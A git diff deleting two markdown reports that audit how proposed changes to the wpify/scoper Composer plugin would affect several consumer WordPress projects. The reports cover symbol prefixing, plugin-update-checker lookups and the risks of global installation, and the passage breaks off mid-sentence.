a/docs/improvements/consumers/B-bedrock-delife-group.md b/docs/improvements/consumers/B-bedrock-delife-group.md deleted file mode 100644 index 84da053..0000000 --- a/docs/improvements/consumers/B-bedrock-delife-group.md +++ /dev/null @@ -1,452 +0,0 @@ -# Consumer impact — cluster B (Bedrock / delife group) - -Projects verified: `delife`, `stavbadesign`, `wpify-website`, `sdcentral` (all under -`/Users/wpify/projects/`). All four are Roots/Bedrock WordPress projects, all four -consume `wpify/scoper` **as a global Composer plugin**, never as a project dependency. - -Everything below was inspected read-only. No file in any of the four projects was -modified and no `composer install/update` was run inside them. Scratch scripts live in -`/private/tmp/claude-503/.../scratchpad/` (`h1scan.php`, `h1forward.php`, `h1ci.php`, -`woo.php`, `B_delta.php`, `B_h16impact.php`). - ---- - -## 0. Topology — the fact that drives half the verdicts - -**`wpify/scoper` is installed globally, and therefore executes on every Composer run on -the machine and in CI, including runs for projects that have no scoper config at all.** - -Evidence: - -- `composer global config home` → `/Users/wpify/.composer`; global manifest - `/Users/wpify/.composer/composer.json` requires `wpify/scoper: ^3.2` with - `allow-plugins.wpify/scoper: true`. -- Installed global version: **3.2.21**, source ref `b00d523` - (`/Users/wpify/.composer/vendor/composer/installed.json`). -- `src/Plugin.php`, `scripts/postinstall.php` and `config/scoper.inc.php` in the global - install are **byte-identical** to this repo's HEAD (`diff -q`, no output). Only - `symbols/*.php` differ (global lags commit `a59d577`). So the audited code is the code - consumers are running. -- None of the four `composer.json` files require `wpify/scoper` in `require` or - `require-dev`. -- All four `.gitlab-ci.yml` files install it globally at build time: - `delife/.gitlab-ci.yml:55-56`, `stavbadesign/.gitlab-ci.yml:59-60`, - `wpify-website/.gitlab-ci.yml:64,68`, `sdcentral/.gitlab-ci.yml:33-34` and again at - `sdcentral/.gitlab-ci.yml:66-67` for the `test:php` job. - -Empirically confirmed in a throwaway scratch project with an empty `composer.json`: - -``` -Loading plugin Wpify\Scoper\Plugin (from wpify/scoper, installed globally) -> post-install-cmd: Wpify\Scoper\Plugin->execute -EXIT=0 # silent no-op, nothing created -``` - -That silent no-op (`src/Plugin.php:127`) is currently **load-bearing** for the global -Composer project itself and for every unrelated project on the machine. See C5. - ---- - -## 1. `delife/scoper.custom.php` — the priority-1 artifact - -### (a) What it customizes - -`/Users/wpify/projects/delife/scoper.custom.php` (13 lines, tracked in git — -`git ls-files` confirms). It defines `customize_php_scoper_config()` and appends exactly -one patcher: - -```php -if ( strpos( $filePath, 'wpify/custom-fields/src/Integrations/OrderMetabox.php' ) !== false ) { - $content = str_replace( 'function_exists(\'DelifeDeps\\\\', 'function_exists(\'', $content ); -} -``` - -i.e. "in that one file, strip the prefix out of `function_exists('DelifeDeps\…')` -string literals." - -The same file exists, byte-identical (409 bytes), in all three worktrees -(`.worktrees/b2b-api-integration`, `.worktrees/openrouter-migration`, -`.worktrees/redesign-2026`). - -### (b) Is it currently being applied? — **YES. Proven.** - -Finding H18 says `Plugin::createPath(['scoper.custom.php'], true)` -(`src/Plugin.php:268-276`) only resolves to the project root when -`dirname(__DIR__)` contains the literal `vendor/wpify/scoper`. For a **global** install -that path is `/Users/wpify/.composer/vendor/wpify/scoper` — which *does* contain the -substring: - -``` -dirname(__DIR__) = "/Users/wpify/.composer/vendor/wpify/scoper" -strpos(..., "vendor/wpify/scoper") = int(23) → is_int() === true -``` - -So the `$in_root` branch is taken, `getcwd() . '/scoper.custom.php'` resolves to -`/Users/wpify/projects/delife/scoper.custom.php`, `src/Plugin.php:258-260` copies it into -the temp dir, and `config/scoper.inc.php:7-10` requires it. **The customization is live -today. H18 does not change delife's behaviour.** - -(Contrast: a *development* checkout at `/Users/wpify/projects/scoper` does **not** match, -which is presumably where the finding came from. No consumer in this cluster is in that -topology.) - -### (c) …but the customization is a **no-op in the output** - -Natural experiment across the four builds, same package (`wpify/custom-fields` 4.x), -same file, line 165: - -| project | `globals` | custom file | built output | -|---|---|---|---| -| delife | default (incl. `woocommerce`) | **yes** | `function_exists('wc_get_container')` | -| stavbadesign | default (incl. `woocommerce`) | no | `function_exists('wc_get_container')` | -| wpify-website | default (incl. `woocommerce`) | no | `function_exists('wc_get_container')` | -| sdcentral | `["wordpress"]` only | no | `function_exists('SDCentralDeps\wc_get_container')` | - -`delife/web/app/deps/wpify/custom-fields/src/Integrations/OrderMetabox.php:165,205` is -identical to stavbadesign's and wpify-website's. Since `woocommerce` is in delife's -globals, php-scoper never prefixes `wc_*` in the first place, so the custom patcher finds -nothing to replace. It is dead weight, not a functional dependency. - -**Verdict: SAFE, no behaviour change from H18 — but the "silently ignored today, would -suddenly apply" scenario the brief worried about does not occur here.** The one caveat -worth stating loudly is the inverse: **if H18's fix is implemented as -`dirname(Factory::getComposerFile())`, delife keeps working; if it is implemented in a way -that stops resolving to the project root for a global install, delife silently loses its -patcher.** The patcher is currently inert, so even that would be invisible — which is -exactly why it should be covered by a test rather than by observation. - ---- - -## 2. Live corruption hunt in the built `deps/` (H1 / H2) - -All four projects have a built `deps/` at `web/app/deps` (delife 36 MB / 2 939 PHP files, -wpify-website 2 247, sdcentral 518, stavbadesign 506). - -### H2 — `autoload_static.php` classmap corruption: **not triggered, latent only** - -`scripts/postinstall.php:41-45` applies -`/'([[:alnum:]]+)'\s*=>\s*([a-zA-Z0-9 .'"\/\-_]+),/` to the whole file. Measured, per -project, by walking `autoload_static.php` section by section: - -| project | prefixed keys in `$files` (intended) | prefixed keys **outside** `$files` | classMap entries | non-namespaced classMap keys | -|---|---|---|---|---| -| delife | 12 | **0** | 2 405 | **0** | -| stavbadesign | 9 | **0** | 486 | **0** | -| wpify-website | 10 | **0** | 709 | **0** | -| sdcentral | 9 | **0** | 498 | **0** | - -Reason: php-scoper puts every scoped class under the prefix namespace, so every classmap -key contains a `\\` and cannot match `[[:alnum:]]+`. The bug is real but unreachable for -these four dependency sets. **Narrowing the rewrite to `$files` is a pure no-op here → -SAFE.** - -### H1 — unanchored prefix-stripping: **not triggered, and the fix must be boundary-anchored, not exact-match** - -Two independent scans: - -1. *Retrospective* (`h1scan.php`): every `\Ident…` / `use Ident…` occurrence in all - 6 210 scoped PHP files, flagged when it starts with an excluded class/namespace and - continues with an identifier character. **0 mangles in all four projects.** -2. *Forward* (`h1forward.php`): every classmap FQN vs. the project's excluded symbol set. - **0 `MANGLE` candidates in all four.** - -The only forward hits are correct de-prefixings (delife): -`DelifeDeps\Attribute`, `DelifeDeps\PhpToken`, `DelifeDeps\Stringable`, -`DelifeDeps\UnhandledMatchError`, `DelifeDeps\ValueError` — the symfony/polyfill-php80 -stubs (`web/app/deps/symfony/polyfill-php80/Resources/stubs/Attribute.php:3,13`), which -are declared under the prefix but referenced as `\Attribute` and resolve to the native -PHP 8.3 classes. Exact-symbol matching preserves this. - -**Two implementation constraints the fix must respect, or it becomes BREAKING:** - -- **Sub-namespace continuation must still be stripped.** `delife/…/OrderMetabox.php:10` - is `use Automattic\WooCommerce\Internal\DataStores\Orders\CustomOrdersTableController;` - and `…/snippets/src/CustomSMTP.php:5` is `use PHPMailer\PHPMailer\PHPMailer;`. The - excluded entries are `Automattic\WooCommerce` and `PHPMailer\PHPMailer`. The proposed - hash-set lookup on the *whole* captured `[A-Za-z_][\w\\]*` would miss both. The lookup - must be longest-namespace-prefix, with `\` as a legal continuation. (php-scoper's own - `exclude-namespaces` already handles these, so the patcher is belt-and-braces here — - but that is an assumption worth testing rather than relying on.) -- **Token-boundary, not string-end.** `\DelifeDeps\Attribute::TARGET_CLASS` must still - become `\Attribute::TARGET_CLASS` (polyfill stub, line 13). - -The proposed switch to **case-insensitive** matching was measured separately -(`h1ci.php`): **0 new de-prefixings** in all four projects. - -**Verdict H1: SAFE for all four, conditional on the two constraints above.** - ---- - -## 3. sdcentral's `globals: ["wordpress"]` — pre-existing, live breakage - -`sdcentral/composer.json` `extra.wpify-scoper.globals = ["wordpress"]` — no -`woocommerce`, no `action-scheduler`, no `wp-cli`. Its scoped set (`wpify/custom-fields`, -`wpify/model`, `wpify/snippets`, `wpify/log`) references all three anyway. - -Measured (`woo.php`) — **14 distinct symbols wrongly prefixed** in -`sdcentral/web/app/deps`: - -| symbol | kind | sites (excerpt) | -|---|---|---| -| `WP_CLI` | constant | 15 — `wpify/snippets/src/HTTPAuth.php:9`, `wpify/custom-fields/src/Integrations/Taxonomy.php:94`, `…/Metabox.php:121` | -| `WC_Product` | class | 6 — `wpify/model/src/Product.php:6`, `…/ProductRepository.php:6` | -| `WC_Order` | class | 4 — `wpify/model/src/Order.php:7`, `…/OrderRepository.php:6` | -| `WC_Abstract_Order` | class | 3 — `wpify/model/src/Order.php:6` | -| `WC_Order_Item`, `WC_Order_Refund`, `WC_Tax`, `WC_Coupon`, `WC_Admin_Settings` | classes | 8 total | -| `wc_get_container`, `wc_get_page_screen_id`, `wc_get_order`, `wc_get_logger` | functions | 7 total | -| `ActionScheduler` | class | 2 — `wpify/snippets/src/DisableDefaultAsRunners.php:18-19` | - -Concrete dead code produced: - -- `HTTPAuth.php:9` — `if (defined('SDCentralDeps\WP_CLI') && WP_CLI)` — always false. - sdcentral **does** register WP-CLI commands (`src/CLI.php:64-66` - `WP_CLI::add_command('sd create-processes', …)`), so the WP-CLI guards inside - custom-fields (`Taxonomy.php:94`, `Metabox.php:121`, `SubscriptionMetabox.php:161`) are - live-wrong: admin form-field hooks are registered during CLI runs. -- `wpify/log/src/Log.php:56` — `function_exists('SDCentralDeps\wc_get_logger')` — always - false; the WooCommerce logger path is unreachable. -- `DisableDefaultAsRunners.php:18` — `class_exists('SDCentralDeps\ActionScheduler')` — - always false; the snippet is inert (and `\SDCentralDeps\ActionScheduler::runner()` on - line 19 would fatal if it ever were reached). -- `wpify/model/src/Order.php:6-7` — `use SDCentralDeps\WC_Abstract_Order;` / - `use SDCentralDeps\WC_Order;`. Dormant: sdcentral's `src/` never touches - `Wpify\Model\Order`/`Product` (verified by grep over `src/`), so no fatal today. - -**None of this is caused by the proposed changes** — it is the status quo. Adding -`"woocommerce"`, `"action-scheduler"` and `"wp-cli"` to sdcentral's `globals` (a -one-line project-side change) fixes all 14. It is worth reporting to the sdcentral owner -independently of this audit. - -**Would H16's regenerated lists change sdcentral's output?** Only via `wordpress.php`. -See §4 — measured impact zero. - ---- - -## 4. H16 — regenerated symbol lists - -The documented H16 delta (docs `03-symbols-and-scoper-config.md:61-160, 186-285`) adds: -18 function-body symbols (`WP_Block_Cloner`, `wxr_cdata` + 13 `wxr_*`, -`lowercase_octets`, `wp_handle_upload_error`, `_sort_priority_callback`, -`filter_created_pages`), ~97 `SODIUM_*` top-level constants, and the `class_alias` -targets. I extracted the alias targets from the checked-in sources: the only -**global-namespace** ones are `PHPMailer`, `phpmailerException`, `SMTP` and 33 -`SimplePie*` names; every WooCommerce alias is namespaced under -`Automattic\WooCommerce\…` and every global enum is namespaced, so both are already -covered by `exclude-namespaces`. - -Measured against all four builds: - -- **Exact classmap collisions with the newly-excluded classes: 0** in every project. -- **H1-mangle risk from the new short names: 0** in every project. Notably - `wpify/snippets/src/SMTP.php` declares `…\Wpify\Snippets\SMTP` - (`autoload_classmap.php:1267` → `'DelifeDeps\\Wpify\\Snippets\\SMTP'`), i.e. it is - namespaced, so the search needle `\Prefix\SMTP` cannot reach it. Same for - `CustomSMTP` and for `use PHPMailer\PHPMailer\PHPMailer` in `CustomSMTP.php:5`. -- **No `SODIUM_*` reference anywhere** in any of the four scoped trees. -- **No reference to any of the 18 function-body symbols.** - -**Ordering constraint (flagged, not blocking):** `SMTP`, `SimplePie` and `PHPMailer` are -short, generic, root-level class names. Landing H16 **before** H1 widens the unanchored -str_replace surface. Land H1 first, or together. - -`F18` (dropping 28 wp-cli test-suite symbols such as `Requests`, `UtilsTest`, -`ProcessTest`, `WP_CLI\Tests\CSV`) — none is referenced in any of the four scoped trees. - -**Verdict H16: SAFE for all four.** Caveat: a sibling agent's `scratchpad/new/` symbol -snapshot turned out to be a byte-identical copy of the repo's shipped `symbols/*.php` -(verified with `cmp`), so it could not be used as a regenerated ground truth. My H16 -analysis is therefore driven by the deltas documented in `03-symbols-and-scoper-config.md` -plus my own extraction from `sources/`, not by a real regenerated list. **If an actual -regenerated list lands, re-run `scratchpad/B_h16impact.php` against it** — that is the -one item here I could not verify end-to-end. - ---- - -## 5. Item-by-item - -### C4 — bump `require.php` to `^8.2` → **SAFE ×4** - -The PHP that runs the *tool* (not `config.platform.php`, which only constrains scoped -resolution): - -| context | PHP | evidence | -|---|---|---| -| CI, all four | **8.3.13** | `image: composer:2.8.2`; `docker run --entrypoint php composer:2.8.2 -v` | -| sdcentral `test:php` | 8.3 | `sdcentral/.gitlab-ci.yml:43` `php:8.3-cli-bookworm` | -| local host | 8.4.20 | `php -v` (this is where `~/.composer` lives) | -| DDEV web container | 8.3 | `php_version: "8.3"` in all four `.ddev/config.yaml` | - -Nothing runs on 8.1. `config.platform.php` is `8.3` (delife, stavbadesign, wpify-website, -sdcentral) — distinct from the above and unaffected. - -### C5 — fail fast on missing/invalid prefix → **BREAKING ×4 unless scoped** - -Prefixes are all present and legal PHP namespace segments: `DelifeDeps`, -`StavbadesignDeps`, `WpifyDeps`, `SDCentralDeps`. Extra keys used across the cluster — -`prefix`, `folder`, `globals`, `composerjson`, `composerlock`, `autorun` -(`sdcentral/composer.json` `extra.wpify-scoper.autorun: true`) — are all recognised keys, -so a strict unknown-key rejection is fine **provided `autorun` and `temp` are on the -allow-list**. - -**The breakage is elsewhere.** Because the plugin is global, `execute()` runs for projects -that have *no* `extra.wpify-scoper` at all, and the silent return at `src/Plugin.php:127` -is what keeps them working. Confirmed empirically (§0). If a missing prefix becomes a hard -error: - -1. `composer global require wpify/scoper` — present in **all four** CI pipelines - (`delife:56`, `stavbadesign:60`, `wpify-website:68`, `sdcentral:34` and `:67`) — - dispatches `post-update-cmd` in `COMPOSER_HOME`, whose `composer.json` has no - `extra`. The CI job fails on the line that installs the tool. -2. Every other Composer project on a developer machine with the global install starts - erroring. -3. The **nested** install (temp `source/composer.json`, no `extra`) fails too — which - breaks scoping itself. - -**Required scoping: error only when the `extra.wpify-scoper` key is present but `prefix` -is missing/empty/invalid. Absence of the whole key must remain a silent no-op.** -`autorun: false` is not a substitute — you cannot put it in `COMPOSER_HOME/composer.json` -for every project on the machine. - -### C3 — atomic swap via `.bak` sibling → **SAFE ×4** (one housekeeping note) - -`folder` is `web/app/deps` in all four — **not** inside `vendor/`. Backup would land at -`web/app/deps.bak`, inside the Bedrock content dir but outside `plugins/`, `mu-plugins/` -and `themes/`, so WordPress never scans it. - -- Same filesystem as the temp dir: temp defaults to `getcwd()/tmp-XXXX` - (`src/Plugin.php:58`), no project overrides `temp`. Both under the project root → no - cross-device `rename()`. DDEV mounts the whole project as one volume; Composer here runs - on the host anyway (`~/.composer`). -- CI artifacts list `web/app/deps` explicitly (`delife/.gitlab-ci.yml:44-48`); deploy - rsyncs an explicit path list (`delife/.gitlab-ci.yml:81-96`) — `deps.bak` is in neither. -- **Note:** `deps.bak` is *not* covered by any of the four `.gitignore` files — - delife ignores `web/app/deps/*` (`.gitignore:13`), the others ignore `web/app/deps` - (stavbadesign:11, wpify-website:16, sdcentral:8). `git check-ignore -v web/app/deps.bak` - returns nothing in all four. A crash mid-swap leaves an untracked ~36 MB tree in - `git status`. Cosmetic; either name it `.deps.bak` (dot-prefixed) or clean it in a - `finally`. - -### C2 — `is_link()` guard in `remove()` → **SAFE ×4** - -- `find web/app/deps -type l` → **0 symlinks** in all four, full depth. -- `web/app/deps` is itself a real directory in all four (`ls -ld`). -- **No `repositories` block at all** in any of the four `composer-deps.json` — so no - `path` repository and no Composer-created symlink inside the scoped tree. -- delife's *outer* `composer.json:32-35` does have a `path` repository - (`lib/graphql-php`), but that produces a symlink under `vendor/`, which - `scripts/postinstall.php` never touches (it only removes `$deps`, `$temp` and the - `composer-deps.lock` file). -- No leftover `tmp-*` directories in any project (delife's `tmp/` and `tmp-tests/` are - hand-made scratch dirs with unrelated content, not scoper temp dirs). - -### C1 + M4 — subprocess, exit-code propagation, re-entrancy guard, `--no-plugins` → **SAFE ×4, with one ordering constraint** - -- **No Composer plugin in any scoped set.** Parsed all four `composer-deps.lock`: zero - packages of type `composer-plugin`/`composer-installer`. Package lists: delife 35, - wpify-website 21, sdcentral 16, stavbadesign 14 — all plain libraries - (php-di, twig, guzzle, phpspreadsheet, libphonenumber, ramsey/uuid, wpify/*). - delife's `composer-deps.json` `config.allow-plugins` names four installers, but none is - actually required. **`--no-plugins` on the nested install is safe.** -- **`--no-scripts` must NOT be added** — the nested `post-install-cmd` is what runs - php-scoper, `dump-autoload` and `postinstall.php` (`src/Plugin.php:169-173`). -- **Exit codes:** none of the four has a `post-install-cmd`/`post-update-cmd` in its own - `scripts` that would be skipped by the current `exit()`. delife's - `post-autoload-dump: php composer.postinstall.php` fires *before* `post-install-cmd`, - so it already runs. No CI step depends on `composer install` exiting 0 while scoping - fails — the current `Application::run()` already propagates the nested code via - `autoExit`. -- **Ordering constraint (repeat of C5):** if C5 lands without `--no-plugins` **or** the - M4 re-entrancy guard, the nested install (no `extra`) hard-fails and scoping breaks for - all four. Same for H17: with a re-entrancy path into `createScoperConfig()`, - `require_once` returns `true` and `src/Plugin.php:215` `exit;` fires silently. - -### H7 — make `--no-dev` reachable → **SAFE ×4 (no-op)** - -`packages-dev` is **empty** in all four `composer-deps.lock`, and none of the four -`composer-deps.json` has a `require-dev` block. Nothing disappears. Honouring the outer -run's dev mode is likewise a no-op even though all four CI pipelines pass `--no-dev` to -the outer install. - -### H14 / H15 — `plugin-update-checker` → **not applicable ×4** - -- `plugin-update-checker` is not in any project's `globals` (three use the default - `[wordpress, woocommerce, action-scheduler, wp-cli]`; sdcentral uses `["wordpress"]`). -- `yahnis-elsts/plugin-update-checker` appears in **none** of the four - `composer-deps.lock` files. -- No occurrence of `Puc_v4`, `YahnisElsts` or `plugin-update-checker` in any project's - `src/`, `config/` or `mu-plugins/` (grep, excluding `deps/`). - -Dropping the built-in list entirely is invisible to this cluster. - -### M3 — stop writing generated `scripts` into `composer-deps.json` → **SAFE ×4** - -None of the four `composer-deps.json` contains a `scripts` block. Reading -`src/Plugin.php:169-175`, the generated scripts are written to -`path($source, 'composer.json')` — the *temp* copy — not back to the project file, so -there is nothing to lose. Confirmed empirically: `git status --porcelain -composer-deps.json composer-deps.lock scoper.custom.php` is **clean** in all four despite -recent builds, and no `composer-deps.lock` contains a host path or a `tmp-` fragment -(`grep -c '/Users/\|/builds/\|tmp-'` → 0 ×4). `composer-deps.json` is committed in all -four and does not churn. - -### M15 — validate `globals` entries → **SAFE ×4** - -sdcentral's `["wordpress"]` maps to `symbols/wordpress.php`, which exists. The other three -do not set `globals` and take the default. No invalid names anywhere. (See §3 for the -separate observation that sdcentral's list is *valid but incomplete*.) - -### delife's three worktrees → **SAFE** - -`.worktrees/{b2b-api-integration,openrouter-migration,redesign-2026}` each hold a full -checkout with its own `composer.json` (all three: `prefix: DelifeDeps`, -`folder: web/app/deps`), its own `composer-deps.json`/`.lock`, its own built -`web/app/deps`, and its own byte-identical `scoper.custom.php`. - -- Temp dir is `getcwd()/tmp-<10 random chars>`, so a build in a worktree stays inside that - worktree; no shared temp path, no cross-worktree collision, same filesystem as its own - `deps/`. -- `getcwd()` inside a worktree is the worktree root, so H18's project-root resolution - (and the current `getcwd()` behaviour) finds the worktree's own `scoper.custom.php`. -- `.worktrees/` is gitignored in the main repo (`delife/.gitignore:60`), so a stray - `deps.bak` under a worktree is invisible to the main checkout. -- The php-scoper `Finder` only scans `$source/vendor` (`config/scoper.inc.php:25-33`), so - the presence of `.worktrees/` inside the project root does not enlarge any scan. - ---- - -## 6. Verdict table - -| Item | delife | stavbadesign | wpify-website | sdcentral | -|---|---|---|---|---| -| **C4** bump `require.php` to `^8.2` | SAFE | SAFE | SAFE | SAFE | -| **C5** fail fast on missing/invalid prefix | **BREAKING** ¹ | **BREAKING** ¹ | **BREAKING** ¹ | **BREAKING** ¹ | -| **C3** atomic `.bak` swap | SAFE ² | SAFE ² | SAFE ² | SAFE ² | -| **C2** `is_link()` guard in `remove()` | SAFE | SAFE | SAFE | SAFE | -| **C1+M4** subprocess / exit code / re-entrancy / `--no-plugins` | SAFE ³ | SAFE ³ | SAFE ³ | SAFE ³ | -| **H1** anchored prefix-stripping | SAFE ⁴ | SAFE ⁴ | SAFE ⁴ | SAFE ⁴ | -| **H2** narrow `autoload_static` rewrite to `$files` | SAFE | SAFE | SAFE | SAFE | -| **H7** reachable `--no-dev` | SAFE (no-op) | SAFE (no-op) | SAFE (no-op) | SAFE (no-op) | -| **H14/H15** plugin-update-checker | n/a | n/a | n/a | n/a | -| **H16** regenerated symbol lists | SAFE ⁵ | SAFE ⁵ | SAFE ⁵ | SAFE ⁵ | -| **H18** `scoper.custom.php` discovery | SAFE ⁶ | n/a (no custom file) | n/a | n/a | -| **M3** stop writing generated `scripts` | SAFE | SAFE | SAFE | SAFE | -| **M15** validate `globals` | SAFE | SAFE | SAFE | SAFE ⁷ | -| *(pre-existing, not a proposed change)* incomplete `globals` | — | — | — | **BROKEN TODAY** ⁸ | - -¹ Breaks **only if** the error also fires when `extra.wpify-scoper` is entirely absent. - The plugin is global and runs for every project, including `COMPOSER_HOME` during - `composer global require wpify/scoper` (present in all four CI pipelines) and the nested - scoped install. Scope the validation to "key present but `prefix` bad" → then SAFE ×4. -² Leftover `web/app/deps.bak` is not gitignored in any of the four; cosmetic only. -³ Conditional on landing with C5's scoping (or the M4 guard / `--no-plugins`), and on not - adding `--no-scripts`. -⁴ Conditional on boundary-anchoring (allow `\` and `::` continuation; longest-namespace- - prefix lookup), not whole-string equality. Case-insensitivity measured: 0 change. -⁵ Land H1 first or together — H16 introduces the short root-level names `SMTP`, - `SimplePie`, `PHPMailer`. Verified 0 collisions and 0 mangle risk in all four builds. - Not verified against an actual regenerated list (none available); see §4. -⁶ Currently applied (proven by path arithmetic), and inert in the output (proven by - cross-project diff). No change either way. -⁷ `["wordpress"]` is a *valid* name, so M15 passes it. M15 would not catch ⁸. -⁸ 14 WooCommerce / ActionScheduler / WP-CLI symbols wrongly prefixed in sdcentral's built - `deps/`. Pre-existing; fix is a project-side `globals` change. diff --git a/docs/improvements/consumers/C-plugin-update-checker-group.md b/docs/improvements/consumers/C-plugin-update-checker-group.md deleted file mode 100644 index f99f9c0..0000000 --- a/docs/improvements/consumers/C-plugin-update-checker-group.md +++ /dev/null @@ -1,504 +0,0 @@ -# Consumer impact — group C: the `plugin-update-checker` cluster - -Projects: `mawis`, `wpify-woo-dognet`, `wpify-woo-filters`. -All three set `extra.wpify-scoper.globals = ["wordpress","woocommerce","plugin-update-checker"]` -and all three ship a `scoper.custom.php`. - -**Method.** Read-only. Nothing in the three project trees was modified, and no -`composer` command was run against them. Scratch scripts live in -`…/scratchpad/{h1check,h1h16,h1regress,h1regress2,verify,final}.php`. - -**Two pieces of luck made this verifiable rather than speculative:** - -1. `mawis` has a **committed, built `deps/`** at `/Users/wpify/projects/mawis/deps` - (42 scoped packages, built 2026-07-17). -2. Built `deps/` for **both** `wpify-woo-dognet` and `wpify-woo-filters` exist as - installed plugins inside an unrelated project's worktree: - - `/Users/wpify/projects/delife/.worktrees/redesign-2026/web/app/plugins/wpify-woo-dognet/deps` - - `/Users/wpify/projects/delife/.worktrees/redesign-2026/web/app/plugins/wpify-woo-filters/deps` - - These carry the `WpifyWooDognetDeps` / `WpifyWooFiltersDeps` prefixes, i.e. they are - genuine CI output for these two plugins. Every claim below about "what the tool - actually produces" is read off those trees, not inferred. - -**Which version of the tool built them.** All three projects rely on a **global** -install: `/Users/wpify/.composer/vendor/wpify/scoper`, version **3.2.21** -(`/Users/wpify/.composer/vendor/composer/installed.json`). None has `wpify/scoper` in -its own `require`/`require-dev`, and no `vendor/wpify/scoper` exists in any of them. -`src/Plugin.php` and `scripts/postinstall.php` in that global install are **byte-identical** -to the audited `master` checkout, so findings transfer directly. - ---- - -## 1. The plugin-update-checker question (H14 / H15) — **the headline** - -### 1.1 What each project actually requires - -| project | PUC in `composer-deps.json`? | PUC in `composer-deps.lock`? | resolved | how it arrives | -|---|---|---|---|---| -| `mawis` | no | **no — absent entirely** | — | — | -| `wpify-woo-dognet` | no (transitive) | **yes** | `dev-master` @ `288f270d` | `wpify/updates ^1` → `yahnis-elsts/plugin-update-checker: dev-master` | -| `wpify-woo-filters` | no (transitive) | **yes** | `dev-master` @ `299a8698` | same | - -Evidence: `wpify-woo-dognet/composer-deps.lock` and `wpify-woo-filters/composer-deps.lock`, -package `wpify/updates` 1.0.2 — `"require": {"yahnis-elsts/plugin-update-checker": "dev-master"}`. - -Both locked PUC entries autoload **`load-v5p6.php`** — i.e. **PUC v5p6**, fully namespaced -(`YahnisElsts\PluginUpdateChecker\v5p6\…`). Not v4, not v5p7. - -**No project anywhere references `Puc_v4p11_*` or `Puc_v4_*`.** The only PUC-adjacent -first-party code is: - -- `wpify-woo-dognet/src/Plugin.php:5` — `use WpifyWooDognetDeps\Wpify\Updates\Updates;` -- `wpify-woo-filters/src/Plugin.php:5` — `use WpifyWooFiltersDeps\Wpify\Updates\Updates;` - -i.e. they never touch PUC directly; they go through `wpify/updates`, whose entire body is: - -```php -// deps/wpify/updates/src/Updates.php (scoped) -use WpifyWooFiltersDeps\YahnisElsts\PluginUpdateChecker\v5\PucFactory; -… -$url = sprintf('https://wpify.io/?update_action=get_metadata&update_slug=%s&site_url=%s', …); -PucFactory::buildUpdateChecker($url, $this->plugin_file, $this->plugin_slug); -``` - -The metadata URL is a plain JSON endpoint on `wpify.io` — **not** GitHub/GitLab/BitBucket. -That detail decides everything below. - -### 1.2 Is PUC working today? **Yes — and the audit's F3 is wrong about why** - -Finding F3 (`03-symbols-and-scoper-config.md:687-744`) says the patcher at -`config/scoper.inc.php:75-77` "is actively fatal on v5": it rewrites -`$checkerClass = $type` to `$checkerClass = "Prefix\\".$type`, producing -`Prefix\Plugin\UpdateChecker`, which F3 claims is *not* a key in -`PucFactory::$classVersions` → `getCompatibleClassVersion()` returns `null` → -`trigger_error(…, E_USER_ERROR)`. - -**That reasoning omits one step.** php-scoper *also* prefixes the string-literal keys in -`load-v5pX.php`. Upstream, unscoped -(`/Users/wpify/projects/scoper/vendor/yahnis-elsts/plugin-update-checker/load-v5p7.php:16-27`): - -```php -foreach (array( - 'Plugin\\UpdateChecker' => Plugin\UpdateChecker::class, - 'Theme\\UpdateChecker' => Theme\UpdateChecker::class, - 'Vcs\\PluginUpdateChecker' => Vcs\PluginUpdateChecker::class, - 'Vcs\\ThemeUpdateChecker' => Vcs\ThemeUpdateChecker::class, - 'GitHubApi' => Vcs\GitHubApi::class, - … -) as $pucGeneralClass => $pucVersionedClass) { - MajorFactory::addVersion($pucGeneralClass, $pucVersionedClass, '5.7'); -``` - -In the real scoped output -(`…/wpify-woo-filters/deps/yahnis-elsts/plugin-update-checker/load-v5p6.php:12`): - -```php -foreach (array('WpifyWooFiltersDeps\Plugin\UpdateChecker' => Plugin\UpdateChecker::class, - 'WpifyWooFiltersDeps\Theme\UpdateChecker' => Theme\UpdateChecker::class, - 'WpifyWooFiltersDeps\Vcs\PluginUpdateChecker' => …, - 'WpifyWooFiltersDeps\Vcs\ThemeUpdateChecker' => …, - 'GitHubApi' => …, 'BitBucketApi' => …, 'GitLabApi' => …) as …) -``` - -php-scoper's `StringScalarPrefixer` prefixed every key containing a namespace separator -and left the single-segment ones (`GitHubApi`, …) alone. - -And in the same build, -`…/deps/yahnis-elsts/plugin-update-checker/Puc/v5p6/PucFactory.php:81`: - -```php -$checkerClass = "WpifyWooFiltersDeps\\".$type . '\UpdateChecker'; // → WpifyWooFiltersDeps\Plugin\UpdateChecker -``` - -**The registry key and the lookup key match exactly.** The `:75-77` patcher is not a bug — -it is the *compensation* for php-scoper's string-literal prefixing of `load-v5pX.php`. -Remove the patcher and the lookup becomes `Plugin\UpdateChecker` while the registry key -stays `Prefix\Plugin\UpdateChecker` → `null` → **that** is when `E_USER_ERROR` fires. - -Reproduced identically in **three independent builds**: - -| build | `PucFactory.php:81` | `load-v5p6.php:12` first key | -|---|---|---| -| `wpify-woo-filters/deps` | `"WpifyWooFiltersDeps\\".$type . '\UpdateChecker'` | `'WpifyWooFiltersDeps\Plugin\UpdateChecker'` | -| `wpify-woo-dognet/deps` | `"WpifyWooDognetDeps\\".$type . '\UpdateChecker'` | `'WpifyWooDognetDeps\Plugin\UpdateChecker'` | -| `mawis/web/app/plugins/rosettapress/vendor/rosettapress-deps` | `"RosettaPressDeps\\".$type . '\UpdateChecker'` | `'RosettaPressDeps\Plugin\UpdateChecker'` | - -The same mechanism applies to v5p7 — `PucFactory.php:99` and `load-v5p7.php` have the same -shape as v5p6. - -**One real half-bug that F3 did not catch.** The patcher only matches the literal -`$checkerClass = $type`, so the VCS branch two lines down is left alone: - -```php -// PucFactory.php:84 (scoped, unchanged) -$checkerClass = 'Vcs\\' . $type . 'UpdateChecker'; // → 'Vcs\PluginUpdateChecker' -// registry key is 'WpifyWooFiltersDeps\Vcs\PluginUpdateChecker' → MISS → E_USER_ERROR -``` - -So **GitHub/GitLab/BitBucket-hosted update checking is genuinely broken in every scoped -build**, while JSON-metadata checking works. Neither of these projects uses the VCS path -(`wpify/updates` always passes a `wpify.io` JSON URL), so it does not bite them. - -### 1.3 What `symbols/plugin-update-checker.php` contributes today - -Nothing. It supplies 33 `Puc_v4p11_*` names under `expose-classes`. Verified on the built output: - -- `grep -c "Puc_" deps/scoper-autoload.php` → **0** — no exposure aliases were emitted - (and `postinstall.php` comments out `humbug_phpscoper_expose_*` anyway: 86 lines are - commented in that file). -- No `Puc_v4*` class exists in any locked package. - -Because `wordpress` + `woocommerce` are also 